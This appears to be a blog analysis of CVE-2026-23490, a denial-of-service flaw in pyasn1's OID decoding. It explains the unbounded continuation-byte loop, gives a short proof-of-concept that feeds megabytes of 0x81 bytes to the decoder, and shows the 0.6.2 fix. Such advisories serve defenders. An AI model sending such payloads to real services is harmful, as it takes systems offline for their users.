Infinite Mass: The Python OID Memory Hole
Jan 17, 2026·6 min read
Executive Summary (TL;DR)
The `pyasn1` library, used extensively in Python cryptography and networking stacks, failed to limit the length of Object Identifiers (OIDs) during decoding. By exploiting the Variable-Length Quantity (VLQ) encoding, an attacker can force the decoder to construct an infinitely large integer, consuming all available system RAM and crashing the process (DoS) via a single malformed packet.
A deep dive into how a 40-year-old encoding standard (ASN.1) combined with Python's infinite-precision integers to create a trivial, unauthenticated Denial of Service vector in the `pyasn1` library.
The Hook: The Dark Matter of the Internet
If you work in security, you know ASN.1 (Abstract Syntax Notation One). It is the unglamorous, ancient glue holding the internet together. It defines how we structure data for LDAP, SNMP, and—crucially—X.509 certificates used in TLS. It is the dark matter of the protocol universe: you rarely see it directly, but its gravity dictates everything.
Enter pyasn1. This is the de facto pure-Python implementation for handling this binary goop. It is used by major projects to parse certificates and network messages. If you are running a Python-based LDAP server, a custom TLS handshake processor, or an SNMP agent, chances are pyasn1 is sitting somewhere in your dependency tree, quietly chewing on bytes.
But here is the problem with ancient standards: they were designed in an era where 'malicious input' meant a magnetic tape got degaussed, not a targeted packet from a state actor. CVE-2026-23490 is a classic reminder that when you mix old specifications with modern, memory-safe languages that support arbitrary-precision arithmetic, things get weird fast.
The Flaw: Variable Lengths, Infinite Problems
The vulnerability lies in how ASN.1 encodes Object Identifiers (OIDs). To save bandwidth (back when bandwidth cost more than gold), ASN.1 uses a Variable-Length Quantity (VLQ) or Base-128 encoding for the numbers inside an OID.
Here is how it works: The decoder reads a byte. It looks at the Most Significant Bit (MSB). If the MSB is 1 (e.g., the byte is >= 128), it means "Hold on, I'm not done, there is more data in the next byte." It takes the lower 7 bits, adds them to the accumulator, shifts everything left, and grabs the next byte. It repeats this until it finds a byte with an MSB of 0.
In a low-level language like C, if you shift an integer enough times, you eventually overflow the register. The number wraps around, or you trigger an undefined behavior exception. But this is Python. Python loves you. Python wants you to have big numbers. Python supports arbitrary-precision integers.
Because pyasn1 (prior to 0.6.2) didn't put a cap on how many "continuation bytes" (MSB=1) could be chained together, the decoder would happily sit in a while loop, shifting and adding forever. You give it a stream of 0x81 bytes? It builds an integer larger than the number of atoms in the observable universe, until the operating system decides your process has had enough RAM and kills it.
The Code: The Smoking Gun
Let's look at the crime scene in pyasn1/codec/ber/decoder.py. The logic is deceptively simple, which is usually where the worst bugs hide.
Here is the vulnerable loop. Note the lack of safeguards:
# The Loop of Doom
subId = 0
while nextSubId >= 128:
# Shift the current value 7 bits to the left
# Add the lower 7 bits of the new byte
subId = (subId << 7) + (nextSubId & 0x7F)
# Fetch the next byte... logic omitted for brevityDo you see the issue? The condition while nextSubId >= 128 is the only exit criteria. As long as the attacker sends bytes with the high bit set (0x80 through 0xFF), this loop never terminates. With every iteration, subId grows by 7 bits.
If I send 1MB of 0x81 bytes, the resulting integer requires roughly 7MB of memory just to store the binary representation, plus Python's object overhead. But the real killer isn't just the raw storage—it's the arithmetic operations (<< and +) on massive numbers, which become exponentially expensive, and the eventual attempt to materialize this number into a Python object.
The Exploit: Feeding the Beast
Exploiting this is trivially easy. We don't need shellcode. We don't need ROP chains. We just need to ask the server to decode a number that doesn't fit in the computer.
Here is a conceptual Proof of Concept. We construct a DER-encoded OID tag (0x06), followed by a length field, followed by a payload of pure 0x81 bytes, ending with a single 0x00 to trigger the final calculation.
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
# 1. Create a payload that is just "More... More... More..."
# 20MB of continuation bytes results in a number with ~140 million bits.
payload = b'\x81' * (20 * 1024 * 1024) + b'\x00'
# 2. Add the ASN.1 wrappers (Tag + Length)
# Logic to encode length bytes omitted for brevity, but it's standard BER.
malicious_packet = construct_ber_oid(payload)
print("[*] Sending packet...")
# 3. decode() attempts to build the Integer.
# The process will hang at 100% CPU then crash with MemoryError or segfault.
decoder.decode(malicious_packet)This is an asymmetric attack. It costs the attacker almost nothing to generate a 20MB stream of repeating bytes. It costs the victim their entire availability. If this is hitting an authentication gateway parsing a certificate chain, the gateway goes down, and nobody gets in.
The Fix: Hard Limits
The fix is unglamorous but effective: stop the loop. The maintainers introduced a hard constant, MAX_OID_ARC_CONTINUATION_OCTETS = 20.
Why 20? Because 20 bytes * 7 bits = 140 bits. This is enough to hold a standard UUID (128 bits), which is the largest reasonable number you should ever find in an OID arc. If you are sending an OID larger than a UUID, you aren't doing networking; you're doing something wrong.
Here is the patched logic:
MAX_OID_ARC_CONTINUATION_OCTETS = 20
# ... inside the loop ...
continuationOctetCount += 1
if continuationOctetCount > MAX_OID_ARC_CONTINUATION_OCTETS:
raise error.PyAsn1Error(
'OID arc exceeds maximum continuation octets limit'
)This simple if statement effectively neutralizes the attack. The decoder now throws an exception instantly upon receiving the 21st byte, rather than eating RAM until death. It is a textbook example of defense-in-depth: never trust the input length, even if the protocol specification implies you should.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
pyasn1 pyasn1 | < 0.6.2 | 0.6.2 |
| Attribute | Detail |
|---|---|
| CWE | CWE-770 (Allocation of Resources Without Limits) |
| CVSS v3.1 | 7.5 (High) |
| Attack Vector | Network (Remote) |
| Privileges Required | None |
| User Interaction | None |
| EPSS Score | 0.00038 |
MITRE ATT&CK Mapping
The software allocates resources without limits or throttling, which can cause the consumption of all available resources.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.